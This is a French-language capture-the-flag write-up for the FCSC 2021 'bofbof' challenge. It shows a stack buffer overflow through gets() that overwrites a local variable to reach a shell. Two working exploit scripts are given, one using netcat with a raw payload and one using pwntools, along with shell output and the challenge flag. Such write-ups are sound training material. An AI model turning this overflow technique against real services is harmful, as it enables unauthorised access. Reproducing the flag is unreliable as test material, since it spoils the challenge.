FCSC 2021 - Intro - bofbof
Votre but est d’obtenir un shell sur la machine pour lire le fichier flag.txt
.
nc challenges2.france-cybersecurity-challenge.fr 4002
SHA256(bofbof
) = bd78bff2d72fcc6ebc82f248ea14761d66fc476aca13eed22db541f2960f9fce
.
Fichiers joints :
Résolution
Tout d’abord, jouons un peu avec le binaire du challenge pour voir si il y a moyen de provoquer un signal SIGSEGV (Segmentation fault). Lorsqu’on met plein de A
en entrée (60 A
ici), le programme plante :
$ ./bofbof
Comment est votre blanquette ?
>>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
Nous pouvons supposer que nous avons réécrit sur une adresse de retour sauvegardée dans la stack, et que le programme plante au moment du ret
final de la fonction main
.
Nous désassemblons le binaire avec Ghidra et nous obtenons le code décompilé de la fonction main
:
undefined8 main(void) {
char local_38 [40];
long local_10;
local_10 = 0x4141414141414141;
printf("Comment est votre blanquette ?\n>>> ");
fflush(stdout);
gets(local_38);
if (local_10 != 0x4141414141414141) {
if (local_10 == 0x1122334455667788) {
vuln();
}
puts("Almost there!");
}
return 0;
}
Pour accéder au shell (via la fonction vuln()
) nous devons réécrire sur la valeur de la variable locale local_10
(déclarée dans la stack). Pour cela nous réalisons un stack buffer overflow au moment du gets(local_38);
permettant de réécrire sur la valeur de la variable locale local_10
.
Deux options pour réaliser l’exploitation, soit avec une payload dans un fichier, que nous envoyons via netcat, soit directement avec la librairie pwntools de python.
Avec cat payload et pipe netcat
Pour cette technique, nous créons dans un premier temps le fichier contenant la payload en raw bytes grâce à quelques lignes de python :
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import pwn
offset = 5*8
payload = b'A'*offset + pwn.p64(0x1122334455667788)
f = open('payload.raw','wb')
f.write(payload)
f.close()
Ensuite nous réalisons un cat
de la payload.raw
et de -
(correspondant à l’entrée standard stdin
, ce qui permet d’interagir avec le service après l’envoi de la payload)
$ (cat ./payload.raw -) | nc challenges2.france-cybersecurity-challenge.fr 4002
Comment est votre blanquette ?
>>>
ls -lha
total 32K
drwxr-xr-x 1 root root 4.0K Apr 21 13:49 .
drwxr-xr-x 1 root root 4.0K Apr 23 12:43 ..
-r-x------ 1 ctf ctf 17K Apr 21 13:48 bofbof
-r-------- 1 ctf ctf 71 Apr 21 13:47 flag.txt
cat flag.txt
FCSC{ec30a448a777b571734d8d9e4036b3a6e87d1005446f80dffb26c3e4f5cd02ba}
Avec la librairie pwntools de python
Avec la librairie python pwn
(installable avec python3 -m pip install pwntools
), il suffit de créer un socket, et d’envoyer notre payload avec sendline
. Ensuite nous pouvons récupérer l’accès interactif au shell grâce à la fonction .interactive()
:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import pwn
offset = 5*8
payload = b'A'*offset+pwn.p64(0x1122334455667788)
c = pwn.remote("challenges2.france-cybersecurity-challenge.fr",4002)
c.sendline(payload)
c.interactive()
Nous obtenons donc un shell interactif juste après l’envoi de la payload :
$ ./solve.py
[+] Opening connection to challenges2.france-cybersecurity-challenge.fr on port 4002: Done
[*] Switching to interactive mode
Comment est votre blanquette ?
>>> $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ ls -lha
total 32K
drwxr-xr-x 1 root root 4.0K Apr 21 13:49 .
drwxr-xr-x 1 root root 4.0K Apr 23 12:43 ..
-r-x------ 1 ctf ctf 17K Apr 21 13:48 bofbof
-r-------- 1 ctf ctf 71 Apr 21 13:47 flag.txt
$ cat fl
$ cat flag.txt
FCSC{ec30a448a777b571734d8d9e4036b3a6e87d1005446f80dffb26c3e4f5cd02ba}
$
Et nous obtenons le flag :
FCSC{ec30a448a777b571734d8d9e4036b3a6e87d1005446f80dffb26c3e4f5cd02ba}